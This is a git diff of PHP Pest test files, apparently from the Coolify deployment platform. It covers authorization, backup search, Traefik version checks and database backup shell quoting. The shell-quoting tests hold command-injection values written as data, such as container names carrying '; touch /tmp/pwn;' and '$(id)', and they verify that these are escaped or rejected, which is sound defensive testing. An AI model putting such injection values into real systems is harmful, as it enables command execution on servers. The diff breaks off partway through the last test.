expect(ScheduledTask::query()->where('name', 'member-created')->exists())->toBeFalse(); -}); - test('read-only member cannot create a scheduled task through submit', function () { $this->actingAs($this->member); session(['currentTeam' => $this->team]); @@ -161,9 +110,8 @@ test('read-only member cannot create a scheduled task through submit', function test('admin can persist scheduled task changes through submit', function () { $this->actingAs($this->owner); session(['currentTeam' => $this->team]); - bindApplicationScheduledTaskRoute($this->application, $this->task); - Livewire::test(Show::class) + mountScheduledTaskShow($this->application, $this->task) ->set('name', 'updated-by-admin') ->set('command', 'echo admin-ok') ->set('frequency', '0 1 * * *') diff --git a/tests/Feature/Authorization/SecurityPageAuthorizationTest.php b/tests/Feature/Authorization/SecurityPageAuthorizationTest.php index abfbc813a3..46aa16b29f 100644 --- a/tests/Feature/Authorization/SecurityPageAuthorizationTest.php +++ b/tests/Feature/Authorization/SecurityPageAuthorizationTest.php @@ -64,16 +64,6 @@ test('member does not see add or cleanup buttons on private key page', function ->assertDontSee('Delete unused keys'); }); -test('member can view private key names on index page', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - // Member can see key names (view is allowed for same-team members) - // but cannot see create/delete buttons (tested separately above) - Livewire::test(PrivateKeyIndex::class) - ->assertSee('Team SSH Key'); -}); - test('member cannot call cleanup unused keys', function () { $this->actingAs($this->member); session(['currentTeam' => $this->team]); diff --git a/tests/Feature/Authorization/ServerAuthorizationTest.php b/tests/Feature/Authorization/ServerAuthorizationTest.php index e924be5fa6..59947bd7ef 100644 --- a/tests/Feature/Authorization/ServerAuthorizationTest.php +++ b/tests/Feature/Authorization/ServerAuthorizationTest.php @@ -3,7 +3,6 @@ use App\Http\Middleware\PreventRequestsDuringMaintenance; use App\Livewire\Server\Create as ServerCreate; use App\Livewire\Server\Index as ServerIndex; -use App\Livewire\Server\LogDrains; use App\Livewire\Server\Navbar as ServerNavbar; use App\Livewire\Server\ValidateAndInstall; use App\Models\CloudProviderToken; @@ -14,7 +13,6 @@ use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\DB; use Illuminate\Support\Str; -use Livewire\Exceptions\MethodNotFoundException; use Livewire\Livewire; uses(RefreshDatabase::class); @@ -100,20 +98,6 @@ test('member can view server', function () { expect($this->member->can('view', $this->server))->toBeTrue(); }); -test('the private log drain syncData helper is not remotely callable', function () { - $this->withoutVite(); - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $component = Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) - ->set('isLogDrainAxiomEnabled', true); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); - - expect((bool) $this->server->settings->fresh()->is_logdrain_axiom_enabled)->toBeFalse(); -}); - // --- Server Policy: manageProxy --- test('admin can manage proxy', function () { @@ -180,40 +164,6 @@ test('admin can access new server page', function () { ->assertSeeLivewire(ServerCreate::class); }); -test('new server chooser lists providers before rendering a creation form', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - Livewire::test(ServerCreate::class) - ->assertSee('Hetzner') - ->assertSee('Vultr') - ->assertSee('DigitalOcean') - ->assertSee('IP address or domain') - ->assertDontSee('>Select<', false) - ->assertDontSee('Continue') - ->assertSee(route('server.create.type', ['type' => 'hetzner'])) - ->assertSee(route('server.create.type', ['type' => 'vultr'])) - ->assertSee(route('server.create.type', ['type' => 'digital-ocean'])) - ->assertSee(route('server.create.type', ['type' => 'manual'])) - ->assertDontSee('Add Server by IP Address'); -}); - -test('new server chooser uses compact mobile provider cards', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - Livewire::test(ServerCreate::class) - ->assertSee('application-settings-form flex flex-col gap-6', false) - ->assertSee('grid grid-cols-1 gap-3 p-3 sm:grid-cols-2 lg:grid-cols-4', false) - ->assertSee('grid grid-cols-1 gap-3 p-3 sm:grid-cols-2 lg:grid-cols-3', false) - ->assertSee('group flex min-h-32 flex-col rounded-xl', false) - ->assertSee('alt="Hetzner" class="size-8"', false) - ->assertDontSee('sm:min-h-80', false) - ->assertDontSee('size-9 sm:size-14 w-14 h-14', false) - ->assertDontSee('>Select<', false) - ->assertDontSee('actingAs($this->admin); session(['currentTeam' => $this->team]); diff --git a/tests/Feature/BackupSearchTest.php b/tests/Feature/BackupSearchTest.php index d85de2e1c1..5232d2fea7 100644 --- a/tests/Feature/BackupSearchTest.php +++ b/tests/Feature/BackupSearchTest.php @@ -1,11 +1,8 @@ $this->team]); }); -it('renders frontend-only application backup search data for volume names and frequencies', function () { - $application = createBackupSearchApplication($this->team); - $dailyVolume = createBackupSearchVolume($application, 'app-data'); - $weeklyVolume = createBackupSearchVolume($application, 'Cache-Data'); - - $dailyVolume->scheduledBackups()->create([ - 'team_id' => $this->team->id, - 'frequency' => 'daily', - ]); - $weeklyVolume->scheduledBackups()->create([ - 'team_id' => $this->team->id, - 'frequency' => '0 4 * * 0', - ]); - - $parameters = [ - 'project_uuid' => $application->project()->uuid, - 'environment_uuid' => $application->environment->uuid, - 'application_uuid' => $application->uuid, - ]; - - $this->get(route('project.application.backup.index', [...$parameters, 'search' => 'cache'])) - ->assertOk() - ->assertSee('Cache-Data') - ->assertSee('app-data') - ->assertSee("search: 'cache'", false) - ->assertSee('x-model="search"', false) - ->assertSee('x-show=', false) - ->assertSee('No scheduled backups match your search.') - ->assertSee('Filter') - ->assertSee('Sort') - ->assertSee('All targets') - ->assertSee('Target A–Z') - ->assertSee('filterOpen') - ->assertSee('sortOpen') - ->assertDontSee('class="font-mono text-xs">daily', false) - ->assertDontSee('backup-type-filter-trigger', false) - ->assertDontSee('backup-sort-trigger', false); - - expect(file_get_contents(resource_path('views/livewire/project/application/backup/index.blade.php'))) - ->toContain('wire:key="application-heading-backup-index-{{ $application->id }}"'); -}); - -it('renders frontend-only database backup search data for database names and frequencies', function () { - $server = Server::factory()->create(['team_id' => $this->team->id]); - $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); - $project = Project::factory()->create(['team_id' => $this->team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); - $database = StandalonePostgresql::create([ - 'name' => 'Orders-Primary', - 'image' => 'postgres:16-alpine', - 'postgres_user' => 'postgres', - 'postgres_password' => 'password', - 'postgres_db' => 'postgres', - 'environment_id' => $environment->id, - 'destination_id' => $destination->id, - 'destination_type' => $destination->getMorphClass(), - ]); - $storage = S3Storage::create([ - 'name' => 'Archive-Bucket', - 'region' => 'us-east-1', - 'key' => 'test-key', - 'secret' => 'test-secret', - 'bucket' => 'test-bucket', - 'endpoint' => 'https://s3.example.com', - 'is_usable' => true, - 'team_id' => $this->team->id, - ]); - $database->scheduledBackups()->create([ - 'team_id' => $this->team->id, - 'frequency' => 'daily', - 'save_s3' => true, - 's3_storage_id' => $storage->id, - ]); - $database->scheduledBackups()->create([ - 'team_id' => $this->team->id, - 'frequency' => '0 3 * * 1', - ]); - - $parameters = [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, - ]; - - $this->get(route('project.database.backup.index', [...$parameters, 'search' => '0 3'])) - ->assertOk() - ->assertSee('0 3 * * 1') - ->assertSee('daily') - ->assertSee('Archive-Bucket') - ->assertSee('archive-bucket', false) - ->assertSee('backup.s3_storage.includes(query)', false) - ->assertSee('placeholder="Search backups"', false) - ->assertSee('x-model="search"', false) - ->assertSee('x-show=', false) - ->assertSee('No matching backup schedules'); -}); - it('renders unavailable S3 storage only for S3-enabled database backups', function () { $server = Server::factory()->create(['team_id' => $this->team->id]); $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); @@ -165,28 +65,3 @@ it('renders unavailable S3 storage only for S3-enabled database backups', functi // Only the S3-enabled schedule without a linked storage shows "Unavailable". expect(substr_count($response->getContent(), 'Unavailable'))->toBe(1); }); - -function createBackupSearchApplication(Team $team): Application -{ - $server = Server::factory()->create(['team_id' => $team->id]); - $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); - $project = Project::factory()->create(['team_id' => $team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); - $application = Application::factory()->create([ - 'environment_id' => $environment->id, - 'destination_id' => $destination->id, - 'destination_type' => $destination->getMorphClass(), - ]); - - return $application; -} - -function createBackupSearchVolume(Application $application, string $name): LocalPersistentVolume -{ - return LocalPersistentVolume::create([ - 'name' => $name, - 'mount_path' => '/'.str($name)->lower(), - 'resource_id' => $application->id, - 'resource_type' => $application->getMorphClass(), - ]); -} diff --git a/tests/Feature/BoardingActionsLayoutTest.php b/tests/Feature/BoardingActionsLayoutTest.php deleted file mode 100644 index 71e7b824e4..0000000000 --- a/tests/Feature/BoardingActionsLayoutTest.php +++ /dev/null @@ -1,84 +0,0 @@ -toContain('class="mx-auto mt-6 flex w-full max-w-3xl flex-col items-center gap-3"'); -}); - -test('server validation opens in the centered process dialog', function () { - $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); - - expect($view) - ->toContain('') - ->toContain('@click="processDialogOpen = true"') - ->not->toContain(''); -}); - -test('DigitalOcean is available as an onboarding server provider', function () { - $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); - - expect($view) - ->toContain('') - ->toContain('') - ->toContain('Deploy servers directly from your DigitalOcean account.') - ->toContain(''); -}); - -test('Hostinger is available as an onboarding server provider', function () { - $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); - - expect($view) - ->toContain('') - ->toContain('') - ->toContain('Deploy servers directly from your Hostinger account.') - ->toContain(''); -}); - -test('server type details are shown on the relevant cards instead of a technical details panel', function () { - $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); - - expect($view) - ->toContain('aria-label="About this machine"') - ->toContain('aria-label="About remote servers"') - ->toContain('Not recommended for production workloads due to resource contention.') - ->toContain('Any SSH-accessible server, including cloud VPS, bare metal, and self-hosted infrastructure.') - ->not->toContain('') - ->not->toContain('') - ->not->toContain(''); -}); - -test('server type cards use the standard card hover treatment', function () { - $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); - $hoverClasses = 'shadow-sm transition-all hover:-translate-y-px hover:border-neutral-300 hover:shadow-md'; - preg_match_all('/min-h-36[^\"]*'.preg_quote($hoverClasses, '/').'/', $view, $matches); - - expect($matches[0])->toHaveCount(6) - ->and(substr_count($view, 'group relative cursor-pointer'))->toBe(6) - ->and($view)->not->toContain('hover:border-coollabs/35 hover:bg-coollabs/[0.03]') - ->and($view)->not->toContain('dark:hover:border-warning/25 dark:hover:bg-warning/[0.04]'); -}); - -test('existing SSH key selection does not show a redundant value tooltip', function () { - $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); - - expect($view)->toContain('label="Existing SSH key" :options="$privateKeyOptions" :tooltip="false"'); -}); - -test('server connection step does not render a technical details panel', function () { - $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); - - expect($view) - ->not->toContain('') - ->not->toContain('') - ->not->toContain(''); -}); - -test('project step does not render a technical details panel', function () { - $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); - - expect($view) - ->not->toContain('') - ->not->toContain('') - ->not->toContain(''); -}); diff --git a/tests/Feature/CheckTraefikVersionForServerJobTest.php b/tests/Feature/CheckTraefikVersionForServerJobTest.php new file mode 100644 index 0000000000..f4c20d9338 --- /dev/null +++ b/tests/Feature/CheckTraefikVersionForServerJobTest.php @@ -0,0 +1,175 @@ + false]); + InstanceSettings::unguarded(function () { + InstanceSettings::updateOrCreate(['id' => 0], []); + }); + + $this->team = Team::factory()->create(); + $this->team->webhookNotificationSettings()->update([ + 'webhook_enabled' => true, + 'webhook_url' => 'https://example.com/webhook', + ]); + $privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => $privateKey->id, + 'proxy' => ['type' => ProxyTypes::TRAEFIK->value, 'status' => 'running'], + ]); + Event::fake(); +}); + +/** + * Fakes the proxy container: `traefik version` output and the image of `coolify-proxy`. + */ +function fakeTraefikProxyContainer(string $exactVersion, string $image): void +{ + fakeRemoteProcesses([ + '*traefik version*' => Process::result(output: $exactVersion), + '*.Config.Image*' => Process::result(output: $image), + ]); +} + +function runTraefikVersionCheck(Server $server, array $traefikVersions): Server +{ + (new CheckTraefikVersionForServerJob($server, $traefikVersions))->handle(); + + return $server->refresh(); +} + +it('stores a patch update for an outdated version on a tracked branch', function () { + fakeTraefikProxyContainer('3.5.0', 'traefik:v3.5.0'); + + $server = runTraefikVersionCheck($this->server, ['v3.5' => '3.5.6']); + + expect($server->detected_traefik_version)->toBe('3.5.0') + ->and($server->traefik_outdated_info)->toMatchArray([ + 'current' => '3.5.0', + 'latest' => '3.5.6', + 'type' => 'patch_update', + ]); + Notification::assertSentTo($this->team, TraefikVersionOutdated::class); +}); + +it('parses a v-prefixed version from the image tag', function () { + fakeTraefikProxyContainer('', 'traefik:v3.5.0'); + + $server = runTraefikVersionCheck($this->server, ['v3.5' => '3.5.6']); + + expect($server->detected_traefik_version)->toBe('v3.5.0') + ->and($server->traefik_outdated_info)->toMatchArray([ + 'current' => '3.5.0', + 'latest' => '3.5.6', + 'type' => 'patch_update', + ]); +}); + +it('stores a minor upgrade to the newest branch', function (array $traefikVersions, string $latest, string $target) { + fakeTraefikProxyContainer('3.5.6', 'traefik:v3.5'); + + $server = runTraefikVersionCheck($this->server, $traefikVersions); + + expect($server->traefik_outdated_info)->toMatchArray([ + 'current' => '3.5.6', + 'latest' => $latest, + 'type' => 'minor_upgrade', + 'upgrade_target' => $target, + ]); + Notification::assertSentTo($this->team, TraefikVersionOutdated::class); +})->with([ + 'one newer branch' => [['v3.5' => '3.5.6', 'v3.6' => '3.6.2'], '3.6.2', 'v3.6'], + 'several newer branches' => [['v3.5' => '3.5.6', 'v3.6' => '3.6.2', 'v3.7' => '3.7.0'], '3.7.0', 'v3.7'], +]); + +it('stores no outdated info for an up-to-date version', function () { + fakeTraefikProxyContainer('3.6.2', 'traefik:v3.6'); + + $server = runTraefikVersionCheck($this->server, ['v3.5' => '3.5.6', 'v3.6' => '3.6.2']); + + expect($server->detected_traefik_version)->toBe('3.6.2') + ->and($server->traefik_outdated_info)->toBeNull(); + Notification::assertNothingSent(); +}); + +it('stores no outdated info when the version is not major.minor.patch', function (string $image) { + fakeTraefikProxyContainer('', $image); + + $server = runTraefikVersionCheck($this->server, ['v3.5' => '3.5.6', 'v3.6' => '3.6.2']); + + expect($server->traefik_outdated_info)->toBeNull(); + Notification::assertNothingSent(); +})->with([ + 'branch only' => 'traefik:v3.5', + 'latest' => 'traefik:latest', +]); + +it('stores no outdated info when the proxy image cannot be read', function (string $image) { + fakeTraefikProxyContainer('3.5.0', $image); + + $server = runTraefikVersionCheck($this->server, ['v3.5' => '3.5.6', 'v3.6' => '3.6.2']); + + expect($server->detected_traefik_version)->toBe('3.5.0') + ->and($server->traefik_outdated_info)->toBeNull(); + Notification::assertNothingSent(); +})->with([ + 'empty' => '', + 'whitespace only' => " \n ", +]); + +it('stores no outdated info when the proxy image uses the latest tag', function (string $image) { + fakeTraefikProxyContainer('3.5.0', $image); + + $server = runTraefikVersionCheck($this->server, ['v3.5' => '3.5.6', 'v3.6' => '3.6.2']); + + expect($server->detected_traefik_version)->toBe('3.5.0') + ->and($server->traefik_outdated_info)->toBeNull(); + Notification::assertNothingSent(); +})->with(['traefik:latest', 'traefik:Latest', 'traefik:LATEST']); + +it('notifies about an outdated Traefik only once per patch version or upgrade target', function (string $exactVersion, string $image, array $traefikVersions, array $previousInfo, bool $notified) { + $this->server->update(['traefik_outdated_info' => $previousInfo]); + fakeTraefikProxyContainer($exactVersion, $image); + + runTraefikVersionCheck($this->server, $traefikVersions); + + $notified + ? Notification::assertSentTo($this->team, TraefikVersionOutdated::class) + : Notification::assertNothingSent(); +})->with([ + 'same patch version' => ['3.7.7', 'traefik:v3.7.7', ['v3.7' => '3.7.13'], ['current' => '3.7.7', 'latest' => '3.7.13', 'type' => 'patch_update'], false], + 'newer patch version' => ['3.7.7', 'traefik:v3.7.7', ['v3.7' => '3.7.16'], ['current' => '3.7.7', 'latest' => '3.7.13', 'type' => 'patch_update'], true], + 'same upgrade target' => ['3.6.20', 'traefik:v3.6', ['v3.6' => '3.6.20', 'v3.7' => '3.7.13'], ['current' => '3.6.20', 'latest' => '3.7.13', 'type' => 'minor_upgrade', 'upgrade_target' => 'v3.7'], false], + 'newer upgrade target' => ['3.6.20', 'traefik:v3.6', ['v3.6' => '3.6.20', 'v3.7' => '3.7.13', 'v3.8' => '3.8.1'], ['current' => '3.6.20', 'latest' => '3.7.13', 'type' => 'minor_upgrade', 'upgrade_target' => 'v3.7'], true], +]); + +it('clears the stale Traefik version state when the current version cannot be detected', function () { + $this->server->update([ + 'detected_traefik_version' => '3.6.23', + 'traefik_outdated_info' => ['current' => '3.6.23', 'latest' => '3.7.8', 'type' => 'minor_upgrade', 'upgrade_target' => 'v3.7'], + ]); + fakeTraefikProxyContainer('', ''); + + $server = runTraefikVersionCheck($this->server, ['v3.7' => '3.7.8']); + + expect($server->detected_traefik_version)->toBeNull() + ->and($server->traefik_outdated_info)->toBeNull(); + Notification::assertNothingSent(); +}); diff --git a/tests/Feature/CheckpointItemContrastTest.php b/tests/Feature/CheckpointItemContrastTest.php deleted file mode 100644 index b667655267..0000000000 --- a/tests/Feature/CheckpointItemContrastTest.php +++ /dev/null @@ -1,10 +0,0 @@ -blade(''); - - $view - ->assertSee('dark:text-warning', false) - ->assertSee('animate-spin', false) - ->assertDontSee('spinner-current', false); -}); diff --git a/tests/Feature/ComposeExternalVolumeTest.php b/tests/Feature/ComposeExternalVolumeTest.php index af9dcee98f..4231f4090b 100644 --- a/tests/Feature/ComposeExternalVolumeTest.php +++ b/tests/Feature/ComposeExternalVolumeTest.php @@ -757,9 +757,7 @@ describe('validation', function () { }); it('accepts external volumes with a literal name', function (string $compose) { - validateDockerComposeForInjection($compose); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class); })->with([ 'short' => [EXTERNAL_VOLUME_SHORT_COMPOSE], 'long' => [EXTERNAL_VOLUME_LONG_COMPOSE], diff --git a/tests/Feature/ComposeParentBindPathTest.php b/tests/Feature/ComposeParentBindPathTest.php index fa2636bdc9..386320ce27 100644 --- a/tests/Feature/ComposeParentBindPathTest.php +++ b/tests/Feature/ComposeParentBindPathTest.php @@ -241,9 +241,7 @@ services: content: hello YAML; - validateDockerComposeForInjection($compose); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class); }); it('rejects shell metacharacters in a resolved parent directory path', function () { diff --git a/tests/Feature/CopyButtonComponentTest.php b/tests/Feature/CopyButtonComponentTest.php deleted file mode 100644 index 520f4d7a89..0000000000 --- a/tests/Feature/CopyButtonComponentTest.php +++ /dev/null @@ -1,23 +0,0 @@ -blade(''); - - $html->assertSee('Copy backup path') - ->assertSee('backup\/path.sql', false) - ->assertSee('x-data="copyButton"', false) - ->assertDontSee('window.copyToClipboard', false); -}); - -it('disables the button when no backend value is available', function () { - $html = $this->blade(''); - - $html->assertSee('disabled', false); -}); - -it('evaluates a resolve expression at click time instead of a static value', function () { - $html = $this->blade(''); - - $html->assertSee('await ($wire.copyValue())', false) - ->assertDontSee('disabled', false); -}); diff --git a/tests/Feature/DashboardViewModeTest.php b/tests/Feature/DashboardViewModeTest.php index e810b9ed94..c198531cf0 100644 --- a/tests/Feature/DashboardViewModeTest.php +++ b/tests/Feature/DashboardViewModeTest.php @@ -25,12 +25,6 @@ beforeEach(function () { session(['currentTeam' => $this->team]); }); -it('shows the projects and servers sections as tables by default', function () { - Livewire::test(Dashboard::class) - ->assertSee("viewMode: 'table'", false) - ->assertDontSee("viewMode: 'grid'", false); -}); - it('remembers the view of each dashboard section on its own', function () { Livewire::test(Dashboard::class)->call('saveListView', 'dashboard_projects', 'grid'); diff --git a/tests/Feature/DatabaseBackupShellQuotingTest.php b/tests/Feature/DatabaseBackupShellQuotingTest.php new file mode 100644 index 0000000000..c5972b03dc --- /dev/null +++ b/tests/Feature/DatabaseBackupShellQuotingTest.php @@ -0,0 +1,190 @@ + false]); + InstanceSettings::forceCreate(['id' => 0]); + + $this->team = Team::factory()->create(['name' => 'Acme']); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, + ]); + $this->server->settings()->update(['is_reachable' => true, 'is_usable' => true]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $project->id]); + $this->commands = collect(); + Process::fake(function ($process) { + $script = remoteProcessScript($process); + $this->commands->push($script); + + return Process::result(output: match (true) { + str_contains($script, 'du -b') => '128', + str_contains($script, '| grep -E') => "POSTGRES_USER=app\nPOSTGRES_DB=app", + default => '', + }); + }); +}); + +function backupQuotingSchedule(mixed $database, Team $team, array $overrides = []): ScheduledDatabaseBackup +{ + $backup = new ScheduledDatabaseBackup; + $backup->forceFill([ + 'enabled' => true, + 'save_s3' => false, + 'frequency' => 'daily', + 'database_id' => $database->id, + 'database_type' => $database->getMorphClass(), + 'team_id' => $team->id, + ...$overrides, + ])->save(); + + return $backup->fresh(); +} + +function backupQuotingService(Server $server, StandaloneDocker $destination, Environment $environment): Service +{ + return Service::factory()->create([ + 'server_id' => $server->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'environment_id' => $environment->id, + ]); +} + +it('quotes the container name, the database name, and the backup paths in the backup commands', function () { + $database = create_standalone_postgresql($this->environment->id, $this->destination, ['status' => 'running:healthy']); + $backup = backupQuotingSchedule($database, $this->team, ['databases_to_backup' => BACKUP_QUOTING_PAYLOAD]); + + (new DatabaseBackupJob($backup))->handle(); + + $file = ScheduledDatabaseBackupExecution::query()->sole()->filename; + $dumpCommand = "docker exec '{$database->uuid}' pg_dump --format=custom --username 'postgres' " + .escapeshellarg(BACKUP_QUOTING_PAYLOAD)." > '{$file}'"; + + expect($this->commands->implode("\n")) + ->toContain("\nmkdir -p '".dirname($file)."'\n") + ->toContain("\nsh -c ".escapeshellarg($dumpCommand)."\n") + ->toContain("\ndu -b '{$file}' | cut -f1") + ->not->toContain(' '.BACKUP_QUOTING_PAYLOAD.' ') + ->not->toContain("docker exec {$database->uuid} "); +}); + +it('quotes the backup file in the mount of the S3 upload container', function () { + $storage = S3Storage::create([ + 'name' => 'Destination', + 'region' => 'us-east-1', + 'key' => 'key', + 'secret' => 'secret', + 'bucket' => 'bucket', + 'endpoint' => 'https://8.8.8.8', + 'team_id' => $this->team->id, + 'is_usable' => true, + ]); + $disk = Mockery::mock(FilesystemAdapter::class); + $disk->shouldReceive('files')->zeroOrMoreTimes()->andReturn([]); + $sshDisk = Storage::fake('ssh-keys'); + Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); + Storage::shouldReceive('build')->zeroOrMoreTimes()->andReturn($disk); + $database = create_standalone_postgresql($this->environment->id, $this->destination, ['status' => 'running:healthy']); + $backup = backupQuotingSchedule($database, $this->team, [ + 'save_s3' => true, + 's3_storage_id' => $storage->id, + 'databases_to_backup' => 'app', + ]); + $backup->syncS3Storages([$storage->id]); + + (new DatabaseBackupJob($backup->fresh()))->handle(); + + $file = ScheduledDatabaseBackupExecution::query()->sole()->filename; + expect($this->commands->first(fn (string $command) => str_contains($command, 'docker run -d'))) + ->toContain(' -v '.escapeshellarg("{$file}:{$file}:ro").' ') + ->not->toContain(" -v {$file}:"); +}); + +it('backs up a service database with a supported container name', function () { + $service = backupQuotingService($this->server, $this->destination, $this->environment); + $database = ServiceDatabase::create(['service_id' => $service->id, 'name' => 'db-name_service.1', 'image' => 'postgres:16', 'status' => 'running:healthy']); + + (new DatabaseBackupJob(backupQuotingSchedule($database, $this->team)))->handle(); + + expect($this->commands->implode("\n"))->toContain("docker exec 'db-name_service.1-{$service->uuid}' env") + ->and(ScheduledDatabaseBackupExecution::query()->sole()->status)->toBe('success'); +}); + +it('refuses to back up a service database whose container name is not supported', function (string $name) { + $service = backupQuotingService($this->server, $this->destination, $this->environment); + $database = ServiceDatabase::create(['service_id' => $service->id, 'name' => 'db', 'image' => 'postgres:16', 'status' => 'running:healthy']); + ServiceDatabase::query()->whereKey($database->id)->update(['name' => $name]); + + expect(fn () => (new DatabaseBackupJob(backupQuotingSchedule($database, $this->team)))->handle()) + ->toThrow(Exception::class, 'Invalid database container name.'); + expect($this->commands->filter(fn (string $command) => str_contains($command, 'docker exec')))->toBeEmpty(); +})->with([ + 'space' => ['db name'], + 'newline' => ["db\nname"], + 'shell payload' => ["db'; touch /tmp/pwn; '"], +]); + +it('quotes the container name in the restart command of a service database and a service application', function () { + Queue::fake(); + $service = backupQuotingService($this->server, $this->destination, $this->environment); + $database = ServiceDatabase::create(['service_id' => $service->id, 'name' => 'db', 'image' => 'postgres:16']); + $application = ServiceApplication::create(['service_id' => $service->id, 'name' => 'app']); + ServiceDatabase::query()->whereKey($database->id)->update(['name' => "db'; touch /tmp/pwn; '"]); + ServiceApplication::query()->whereKey($application->id)->update(['name' => 'app$(id)']); + + $database->fresh()->restart(); + $application->fresh()->restart(); + + $databaseContainer = escapeshellarg("db'; touch /tmp/pwn; '-{$service->uuid}"); + expect(RemoteProcessCommand::read(Activity::query()->latest('id')->firstOrFail()))->toBe("docker restart {$databaseContainer}") + ->and($this->commands->implode("\n"))->toContain("\ndocker restart 'app\$(id)-{$service->uuid}'") + ->not->toContain('docker restart app$(id)'); +}); + +it('replaces shell and path separators in the database part of the backup file name', function () { + $database = create_standalone_postgresql($this->environment->id, $this->destination, ['status' => 'running:healthy']); + $backup = backupQuotingSchedule($database, $this->team, ['databases_to_backup' => 'safe_db-1,../db name']); + + (new DatabaseBackupJob($backup))->handle(); + + $files = ScheduledDatabaseBackupExecution::query()->orderBy('id')->pluck('filename')->map(fn (string $file) => basename($file)); + expect($files[0])->toStartWith('pg-dump-safe_db-1-') + ->and($files[1])->toStartWith('pg-dump-..-db-name-') + ->and($files->implode(''))->not->toContain(' '); +}); diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php index ac078427c0..c908c5275a 100644 --- a/tests/Feature/DatabaseEnvironmentVariableApiTest.php +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -74,7 +74,7 @@ describe('GET /api/v1/databases/{uuid}/envs', function () { ])->getJson("/api/v1/databases/{$database->uuid}/envs"); $response->assertStatus(200); - $response->assertJson([]); + $response->assertExactJson([]); }); test('returns 404 for non-existent database', function () { @@ -84,6 +84,7 @@ describe('GET /api/v1/databases/{uuid}/envs', function () { ])->getJson('/api/v1/databases/non-existent-uuid/envs'); $response->assertStatus(404); + $response->assertExactJson(['message' => 'Database not found.']); }); }); @@ -150,6 +151,14 @@ describe('POST /api/v1/databases/{uuid}/envs', function () { ]); $response->assertStatus(409); + $response->assertExactJson(['message' => 'Environment variable already exists. Use PATCH request to update it.']); + + $envs = EnvironmentVariable::where('resourceable_type', StandalonePostgresql::class) + ->where('resourceable_id', $database->id) + ->where('key', 'EXISTING_VAR') + ->get(); + expect($envs)->toHaveCount(1) + ->and($envs->first()->value)->toBe('existing_value'); }); test('returns 422 when key is missing', function () { @@ -163,6 +172,12 @@ describe('POST /api/v1/databases/{uuid}/envs', function () { ]); $response->assertStatus(422); + $response->assertJsonPath('message', 'Validation failed.'); + $response->assertJsonValidationErrors(['key']); + + expect(EnvironmentVariable::where('resourceable_type', StandalonePostgresql::class) + ->where('resourceable_id', $database->id) + ->count())->toBe(0); }); }); @@ -229,6 +244,11 @@ describe('PATCH /api/v1/databases/{uuid}/envs', function () { ]); $response->assertStatus(404); + $response->assertExactJson(['message' => 'Environment variable not found.']); + + expect(EnvironmentVariable::where('resourceable_type', StandalonePostgresql::class) + ->where('resourceable_id', $database->id) + ->count())->toBe(0); }); }); @@ -320,6 +340,12 @@ describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () { ]); $response->assertStatus(422); + $response->assertJsonPath('message', 'Validation failed.'); + $response->assertJsonValidationErrors(['comment']); + + expect(EnvironmentVariable::where('resourceable_type', StandalonePostgresql::class) + ->where('resourceable_id', $database->id) + ->count())->toBe(0); }); test('returns 400 when data is missing', function () { @@ -331,6 +357,7 @@ describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () { ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []); $response->assertStatus(400); + $response->assertExactJson(['message' => 'Bulk data is required.']); }); }); @@ -359,12 +386,22 @@ describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () { test('returns 404 for non-existent environment variable', function () { $database = createDatabase($this); + $env = EnvironmentVariable::create([ + 'key' => 'KEEP_ME', + 'value' => 'kept', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid"); $response->assertStatus(404); + $response->assertExactJson(['message' => 'Environment variable not found.']); + + expect(EnvironmentVariable::where('uuid', $env->uuid)->exists())->toBeTrue(); }); }); @@ -406,5 +443,68 @@ describe('environment variable key validation for database APIs', function () { ]], ]) ->assertStatus(422); + + expect(EnvironmentVariable::query() + ->where('resourceable_type', StandalonePostgresql::class) + ->where('resourceable_id', $database->id) + ->pluck('value', 'key') + ->all())->toBe(['SAFE_KEY' => 'old-value']); + }); +}); + +describe('cross-team access to database environment variables', function () { + test('a token of another team gets 404 and changes nothing', 